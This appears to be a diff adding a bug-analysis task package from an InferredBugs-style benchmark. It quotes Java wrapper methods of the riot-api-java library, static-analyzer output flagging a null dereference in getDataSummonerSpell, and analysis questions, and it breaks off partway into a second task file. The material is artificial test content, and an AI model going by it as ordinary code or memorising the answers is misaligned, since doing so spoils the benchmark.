+   public PlayerHistory getMatchHistory(Region region, long summonerId, int beginIndex, int endIndex) throws RiotApiException {
+
+       return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, null, null, beginIndex, endIndex);
+   }
+
+   /**
+    * Get match history by summonerID
+    *
+    * @param region The desired region
+    * @param summonerId The ID of the desired summoner
+    * @param beginIndex The begin index to use for fetching games
+    * @return A list with matches
+    * @see PlayerHistory
+    * @throws RiotApiException
+    */
+   public PlayerHistory getMatchHistory(Region region, long summonerId, int beginIndex) throws RiotApiException {
+
+       return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, null, null, beginIndex, -1);
+   }
+
+   /**
+    * Get match history by summonerID
+    *
+    * @param region The desired region
+    * @param summonerId The ID of the desired summoner
+    * @return A list with matches
+    * @see PlayerHistory
+    * @throws RiotApiException
+    */
+    public PlayerHistory getMatchHistory(Region region, long summonerId) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(region.getEndpoint(), region.getName(), getKey(), summonerId, null, null, -1, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @param endIndex The end index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, String championIds, String rankedQueues, int beginIndex, int endIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, championIds, rankedQueues, beginIndex, endIndex);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, String championIds, String rankedQueues, int beginIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, championIds, rankedQueues, beginIndex, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param championIds Comma-separated list of champion IDs to use for fetching games.
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, String championIds, String rankedQueues) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, championIds, rankedQueues, -1, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @param endIndex The end index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, String rankedQueues, int beginIndex, int endIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, null, rankedQueues, beginIndex, endIndex);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param rankedQueues Comma-separated list of ranked queue types to use for fetching games
+     * @param beginIndex The begin index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, String rankedQueues, int beginIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, null, rankedQueues, beginIndex, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param beginIndex The begin index to use for fetching games
+     * @param endIndex The end index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, int beginIndex, int endIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, null, null, beginIndex, endIndex);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @param beginIndex The begin index to use for fetching games
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId, int beginIndex) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, null, null, beginIndex, -1);
+    }
+
+    /**
+     * Get match history by summonerID
+     *
+     * @param summonerId The ID of the desired summoner
+     * @return A list with matches
+     * @see PlayerHistory
+     * @throws RiotApiException
+     */
+    public PlayerHistory getMatchHistory(long summonerId) throws RiotApiException {
+
+        return MatchHistoryMethod.getMatchHistory(getEndpoint(), getRegion(), getKey(), summonerId, null, null, -1, -1);
+    }
+
+    /**
+     *
+     */
+    public ChampionList getDataChampionList(Region region, String locale, String version, boolean dataById, ChampData champData) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampionList(region.getName(), getKey(), locale, version, dataById, champData);
+    }
+
+    /**
+     *
+     */
+    public ChampionList getDataChampionList(String locale, String version, boolean dataById, ChampData champData) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampionList(getRegion(), getKey(), locale, version, dataById, champData);
+    }
+
+    /**
+     *
+     */
+    public ChampionList getDataChampionList(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampionList(region.getName(), getKey(), null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public ChampionList getDataChampionList() throws RiotApiException {
+
+        return StaticDataMethod.getDataChampionList(getRegion(), getKey(), null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public dto.Static.Champion getDataChampion(Region region, int id, String locale, String version, boolean dataById, ChampData champData) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampion(region.getName(), getKey(), id, locale, version, dataById, champData);
+    }
+
+    /**
+     *
+     */
+    public dto.Static.Champion getDataChampion(int id, String locale, String version, boolean dataById, ChampData champData) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampion(getRegion(), getKey(), id, locale, version, dataById, champData);
+    }
+
+    /**
+     *
+     */
+    public dto.Static.Champion getDataChampion(Region region, int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampion(region.getName(), getKey(), id, null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public dto.Static.Champion getDataChampion(int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataChampion(getRegion(), getKey(), id, null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public ItemList getDataItemList(Region region, String locale, String version, ItemListData itemListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataItemList(region.getName(), getKey(), locale, version, itemListData);
+    }
+
+    /**
+     *
+     */
+    public ItemList getDataItemList(String locale, String version, ItemListData itemListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataItemList(getRegion(), getKey(), locale, version, itemListData);
+    }
+
+    /**
+     *
+     */
+    public ItemList getDataItemList(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataItemList(region.getName(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public ItemList getDataItemList() throws RiotApiException {
+
+        return StaticDataMethod.getDataItemList(getRegion(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Item getDataItem(Region region, int id, String locale, String version, ItemData itemData) throws RiotApiException {
+
+        return StaticDataMethod.getDataItem(region.getName(), getKey(), id, locale, version, itemData);
+    }
+
+    /**
+     *
+     */
+    public Item getDataItem(int id, String locale, String version, ItemData itemData) throws RiotApiException {
+
+        return StaticDataMethod.getDataItem(getRegion(), getKey(), id, locale, version, itemData);
+    }
+
+    /**
+     *
+     */
+    public Item getDataItem(Region region, int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataItem(region.getName(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Item getDataItem(int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataItem(getRegion(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Realm getDataRealm(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataRealm(region.getName(), getKey());
+    }
+
+    /**
+     *
+     */
+    public Realm getDataRealm() throws RiotApiException {
+
+        return StaticDataMethod.getDataRealm(getRegion(), getKey());
+    }
+
+    /**
+     *
+     */
+    public RuneList getDataRuneList(Region region, String locale, String version, RuneListData runeListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataRuneList(region.getName(), getKey(), locale, version, runeListData);
+    }
+
+    /**
+     *
+     */
+    public RuneList getDataRuneList(String locale, String version, RuneListData runeListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataRuneList(getRegion(), getKey(), locale, version, runeListData);
+    }
+
+    /**
+     *
+     */
+    public RuneList getDataRuneList(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataRuneList(region.getName(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public RuneList getDataRuneList() throws RiotApiException {
+
+        return StaticDataMethod.getDataRuneList(getRegion(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Rune getDataRune(Region region, int id, String locale, String version, RuneData runeData) throws RiotApiException {
+
+        return StaticDataMethod.getDataRune(region.getName(), getKey(), id, locale, version, runeData);
+    }
+
+    /**
+     *
+     */
+    public Rune getDataRune(int id, String locale, String version, RuneData runeData) throws RiotApiException {
+
+        return StaticDataMethod.getDataRune(getRegion(), getKey(), id, locale, version, runeData);
+    }
+
+    /**
+     *
+     */
+    public Rune getDataRune(Region region, int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataRune(region.getName(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Rune getDataRune(int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataRune(getRegion(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public MasteryList getDataMasteryList(Region region, String locale, String version, MasteryListData masteryListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataMasteryList(region.getName(), getKey(), locale, version, masteryListData);
+    }
+
+    /**
+     *
+     */
+    public MasteryList getDataMasteryList(String locale, String version, MasteryListData masteryListData) throws RiotApiException {
+
+        return StaticDataMethod.getDataMasteryList(getRegion(), getKey(), locale, version, masteryListData);
+    }
+
+    /**
+     *
+     */
+    public MasteryList getDataMasteryList(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataMasteryList(region.getName(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public MasteryList getDataMasteryList() throws RiotApiException {
+
+        return StaticDataMethod.getDataMasteryList(getRegion(), getKey(), null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Mastery getDataMastery(Region region, int id, String locale, String version, MasteryData masteryData) throws RiotApiException {
+
+        return StaticDataMethod.getDataMastery(region.getName(), getKey(), id, locale, version, masteryData);
+    }
+
+    /**
+     *
+     */
+    public Mastery getDataMastery(int id, String locale, String version, MasteryData masteryData) throws RiotApiException {
+
+        return StaticDataMethod.getDataMastery(getRegion(), getKey(), id, locale, version, masteryData);
+    }
+
+    /**
+     *
+     */
+    public Mastery getDataMastery(Region region, int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataMastery(region.getName(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public Mastery getDataMastery(int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataMastery(getRegion(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpellList getDataSummonerSpellList(Region region, String locale, String version, boolean dataById, SpellData spellData) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpellList(region.getName(), getKey(), locale, version, dataById, spellData);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpellList getDataSummonerSpellList(String locale, String version, boolean dataById, SpellData spellData) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpellList(getRegion(), getKey(), locale, version, dataById, spellData);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpellList getDataSummonerSpellList(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpellList(region.getName(), getKey(), null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpellList getDataSummonerSpellList() throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpellList(getRegion(), getKey(), null, null, false, null);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpell getDataSummonerSpell(Region region, int id, String locale, String version, SpellData spellData) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpell(region.getName(), getKey(), id, locale, version, spellData);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpell getDataSummonerSpell(int id, String locale, String version, SpellData spellData) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpell(getRegion(), getKey(), id, locale, version, spellData);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpell getDataSummonerSpell(Region region, int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpell(region.getName(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public SummonerSpell getDataSummonerSpell(int id) throws RiotApiException {
+
+        return StaticDataMethod.getDataSummonerSpell(getRegion(), getKey(), id, null, null, null);
+    }
+
+    /**
+     *
+     */
+    public List<String> getDataVersions(Region region) throws RiotApiException {
+
+        return StaticDataMethod.getDataVersions(region.getName(), getKey());
+    }
+
+    /**
+     *
+     */
+    public List<String> getDataVersions() throws RiotApiException {
+
+        return StaticDataMethod.getDataVersions(getRegion(), getKey());
+    }
+    
+    /**
+    *
+    */
+   public List<String> getDataLanguages(Region region) throws RiotApiException {
+
+       return StaticDataMethod.getDataLanguages(region.getName(), getKey());
+   }
+
+   /**
+    *
+    */
+   public List<String> getDataLanguages() throws RiotApiException {
+
+       return StaticDataMethod.getDataLanguages(getRegion(), getKey());
+   }
+   
+    /**
+    *
+    */
+   public List<Shard> getShards() throws RiotApiException {
+
+       return StatusMethod.getShards();
+   }
+   
+   /**
+   *
+   */
+  public ShardStatus getShardStatus(Region region) throws RiotApiException {
+
+      return StatusMethod.getShardStatus(region.getName());
+  }
+
+   /**
+   *
+   */
+  public ShardStatus getShardStatus() throws RiotApiException {
+
+     return StatusMethod.getShardStatus(getRegion());
+ }
+  
+	  /**
+	  *
+	  */
+	 public GameMapList getDataGameMapList(Region region, String locale, String version) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataGameMapList(region.getName(), getKey(), locale, version);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public GameMapList getDataGameMapList(String locale, String version) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataGameMapList(getRegion(), getKey(), locale, version);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public GameMapList getDataGameMapList(Region region) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataGameMapList(region.getName(), getKey(), null, null);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public GameMapList getDataGameMapList() throws RiotApiException {
+	
+	     return StaticDataMethod.getDataGameMapList(getRegion(), getKey(), null, null);
+	 }
+
+	  /**
+	  *
+	  */
+	 public LanguageStrings getDataLanguageStrings(Region region, String locale, String version) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataLanguageStrings(region.getName(), getKey(), locale, version);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public LanguageStrings getDataLanguageStrings(String locale, String version) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataLanguageStrings(getRegion(), getKey(), locale, version);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public LanguageStrings getDataLanguageStrings(Region region) throws RiotApiException {
+	
+	     return StaticDataMethod.getDataLanguageStrings(region.getName(), getKey(), null, null);
+	 }
+	
+	 /**
+	  *
+	  */
+	 public LanguageStrings getDataLanguageStrings() throws RiotApiException {
+	
+	     return StaticDataMethod.getDataLanguageStrings(getRegion(), getKey(), null, null);
+	 }
+	 
+	 /**
+	  *
+	  */
+	 public FeaturedGames getFeaturedGames(Region region) throws RiotApiException {
+	
+	     return FeaturedGamesMethod.getFeaturedGames(region.getName(), getKey());
+	 }
+	 
+	 /**
+	  *
+	  */
+	 public FeaturedGames getFeaturedGames() throws RiotApiException {
+			
+	     return FeaturedGamesMethod.getFeaturedGames(getRegion(), getKey());
+	 }
+	 
+	 /**
+	  *
+	  */
+	 public CurrentGameInfo getCurrentGameInfo(PlatformId platformId, long summonerId) throws RiotApiException {
+	
+	     return CurrentGameMethod.getCurrentGameInfo(platformId, getKey(), summonerId);
+	 }
+	 
+    /**
+     * Get the currently set season
+     *
+     * @return The currently set season
+     */
+    public String getSeason() {
+    	if(season == null){
+    		return null;
+    	}
+        return season.getName();
+    }
+
+    /**
+     * Get the currently set API key
+     *
+     * @return The currently set API key
+     */
+    public String getKey() {
+        return key;
+    }
+
+    /**
+     * Get the currently set region
+     *
+     * @return The currently set region
+     * @throws  
+     */
+    public String getRegion() {
+        return region.getName();
+    }
+
+    /**
+     * Set the season
+     *
+     * @param season The season to set
+     */
+    public void setSeason(Season season) {
+        this.season = season;
+    }
+
+    /**
+     * Set the API key
+     *
+     * @param key The API key to set
+     */
+    public void setKey(String key) {
+        this.key = key;
+    }
+
+    /**
+     * Set the region
+     *
+     * @param region The region to set
+     */
+    public void setRegion(Region region) {
+        this.region = region;
+        setEndpoint();
+    }
+
+    /**
+     * Get the base URL for all API requests
+     *
+     * @return The base URL for all API requests
+     */
+    public String getEndpoint() {
+        return endpoint;
+    }
+
+    private void setEndpoint() {
+        this.endpoint = region.getEndpoint();
+    }
+    
+    public RiotApi clone() {
+    	return new RiotApi(this.key, this.region);
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `null` could be null and is dereferenced by call to `getDataSummonerSpell(...)` at line 1609.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+SummonerSpell RiotApi.getDataSummonerSpell(int)
+
+### Procedure Id:
+main.java.riotapi.RiotApi.getDataSummonerSpell(int):dto.Static.SummonerSpell.85a3203332765e4d3a30d22ceb7637a8
+
+### File:
+src/main/java/riotapi/RiotApi.java
+
+### Key:
+RiotApi.java|getDataSummonerSpell|NULL_DEREFERENCE
+
+### Node Key:
+71bbd039293bbda847a7c7191bb8b301
+
+### Hash:
+083142b1ebc3b31fdf96b3e2369526b7
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8362/instruction.md b/inferredbugs-8362/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b87b6685b8bbaadc54d32aba3d33fe167c4b673a
--- /dev/null
+++ b/inferredbugs-8362/instruction.md
@@ -0,0 +1,1906 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** riot-api-java
+**Bug ID:** 16
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package main.java.riotapi;
+
+/**
+ * Riot Games API Java Library
+ * riot-api-java
+ * by Taylor Caldwell - @rithms
+ * http://rithms.im 
+ */
+
+/*
+ * Copyright 2014 Taylor Caldwell
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+import java.util.List;
+import java.util.Map;
+
+import constant.PlatformId;
+import constant.QueueType;
+import constant.Region;
+import constant.Season;
+import constant.staticdata.ChampData;
+import constant.staticdata.ItemData;
+import constant.staticdata.ItemListData;
+import constant.staticdata.MasteryData;
+import constant.staticdata.MasteryListData;
+import constant.staticdata.RuneData;
+import constant.staticdata.RuneListData;
+import constant.staticdata.SpellData;
+import dto.Champion.*;
+import dto.CurrentGame.CurrentGameInfo;
+import dto.FeaturedGames.FeaturedGames;
+import dto.Game.RecentGames;
+import dto.League.League;
+import dto.Match.MatchDetail;
+import dto.MatchHistory.PlayerHistory;
+import dto.Team.Team;
+import dto.Static.ChampionList;
+import dto.Static.GameMapList;
+import dto.Static.Item;
+import dto.Static.ItemList;
+import dto.Static.LanguageStrings;
+import dto.Static.Mastery;
+import dto.Static.MasteryList;
+import dto.Static.Realm;
+import dto.Static.Rune;
+import dto.Static.RuneList;
+import dto.Static.SummonerSpell;
+import dto.Static.SummonerSpellList;
+import dto.Stats.PlayerStatsSummaryList;
+import dto.Stats.RankedStats;
+import dto.Status.Shard;
+import dto.Status.ShardStatus;
+import dto.Summoner.MasteryPages;
+import dto.Summoner.RunePages;
+import dto.Summoner.Summoner;
+import method.*;
+
+public class RiotApi {
+
+    /**
+     * The base URL for all API requests
+     */
+    private String endpoint = Region.GLOBAL.getEndpoint();
+
+    private Region region = Region.NA; // North American region default
+    private Season season = null;
+    private String key;
+
+    public RiotApi() {
+    }
+
+    public RiotApi(String key) {
+        this.setKey(key);
+    }
+
+    public RiotApi(String key, Region region) {
+        this.setKey(key);
+        this.setRegion(region);
+    }
+
+    /**
+     * Get all the champions for a set region
+     *
+     * @return A list of all the champions for the set region
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getChampions() throws RiotApiException {
+
+        return ChampionMethod.getChampions(getEndpoint(), getRegion(), getKey());
+    }
+
+    /**
+     * Get all the champions for a given region
+     *
+     * @param region The desired region
+     * @return A list of all the champions for the set region
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getChampions(Region region) throws RiotApiException {
+
+        return ChampionMethod.getChampions(region.getEndpoint(), region.getName(), getKey());
+    }
+
+    /**
+     * Get all the champions for a set region
+     *
+     * @param freeToPlay Only free to play
+     * @return A list of all the free to play champions for the set region when
+     * freeToPlay is true A list of all the champions for the set region when
+     * freeToPlay is false
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getChampions(boolean freeToPlay) throws RiotApiException {
+
+        return ChampionMethod.getChampions(getEndpoint(), getRegion(), getKey(), freeToPlay);
+    }
+
+    /**
+     * Get all champions for a given region
+     *
+     * @param region The desired region
+     * @param freeToPlay Only free to play
+     * @return A list of all the free to play champions for the given region
+     * when freeToPlay is true A list of all the champions for the given region
+     * when freeToPlay is false
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getChampions(Region region, boolean freeToPlay) throws RiotApiException {
+
+        return ChampionMethod.getChampions(region.getEndpoint(), region.getName(), getKey(), freeToPlay);
+    }
+
+    /**
+     * Get all free to play champions for a given region
+     *
+     * @param region The desired region
+     * @return A list of all the free to play champions for the given region
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getFreeToPlayChampions(Region region) throws RiotApiException {
+
+        return ChampionMethod.getChampions(region.getEndpoint(), region.getName(), getKey(), true);
+    }
+
+    /**
+     * Get all free to play champions for a set region
+     *
+     * @return A list of all the free to play champions for the set region
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public dto.Champion.ChampionList getFreeToPlayChampions() throws RiotApiException {
+
+        return ChampionMethod.getChampions(getEndpoint(), getRegion(), getKey(), true);
+    }
+
+    /**
+     * Get a champion by id for a given region
+     *
+     * @param region The desired region
+     * @param champId The ID of the desired champion
+     * @return The champion of the given ID
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public Champion getChampionById(Region region, int champId) throws RiotApiException {
+
+        return ChampionMethod.getChampionById(region.getEndpoint(), region.getName(), getKey(), champId);
+    }
+
+    /**
+     * Get a champion by id for a set region
+     *
+     * @param champId The ID of the desired champion
+     * @return The champion of the given ID
+     * @see ChampionList
+     * @throws RiotApiException
+     */
+    public Champion getChampionById(int champId) throws RiotApiException {
+
+        return ChampionMethod.getChampionById(getEndpoint(), getRegion(), getKey(), champId);
+    }
+
+    /**
+     * Get recent games for a given summoner
+     *
+     * @param region The desired region
+     * @param summonerId The ID of the desired summoner
+     * @return Recent games of the given summoner
+     * @see RecentGames
+     * @throws RiotApiException
+     */
+    public RecentGames getRecentGames(Region region, long summonerId) throws RiotApiException {
+
+        return GameMethod.getRecentGames(region.getEndpoint(), region.getName(), getKey(), summonerId);
+    }
+
+    /**
+     * Get recent games for a given summoner
+     *
+     * @param summonerId The ID of the desired summoner
+     * @return Recent games of the given summoner
+     * @see RecentGames
+     * @throws RiotApiException
+     */
+    public RecentGames getRecentGames(long summonerId) throws RiotApiException {
+
+        return GameMethod.getRecentGames(getEndpoint(), getRegion(), getKey(), summonerId);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueBySummoners(Region region, long... summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueBySummoners(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueBySummoners(long... summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueBySummoners(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryBySummoners(Region region, long... summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryBySummoners(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryBySummoners(long... summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryBySummoners(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueBySummoners(Region region, String summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueBySummoners(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueBySummoners(String summonerIds) throws RiotApiException {
+        return LeagueMethod.getLeagueBySummoners(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryBySummoners(Region region, String summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryBySummoners(region.getEndpoint(), region.getName(), getKey(), summonerIds);
+    }
+
+    /**
+     * 
+     * @param summonerIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryBySummoners(String summonerIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryBySummoners(getEndpoint(), getRegion(), getKey(), summonerIds);
+    }
+
+    /**
+     * @param region
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueByTeams(Region region, long... teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueByTeams(region.getEndpoint(), region.getName(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueByTeams(long... teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueByTeams(getEndpoint(), getRegion(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryByTeams(Region region, long... teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryByTeams(region.getEndpoint(), region.getName(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryByTeams(long... teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueEntryByTeams(getEndpoint(), getRegion(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueByTeams(Region region, String teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueByTeams(region.getEndpoint(), region.getName(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueByTeams(String teamIds) throws RiotApiException {
+
+        return LeagueMethod.getLeagueByTeams(getEndpoint(), getRegion(), getKey(), teamIds);
+    }
+
+    /**
+     * 
+     * @param region
+     * @param teamIds
+     * @throws RiotApiException
+     */
+    public Map<String, List<League>> getLeagueEntryByTeams(Region region, String teamIds) throws RiotApiException {
+
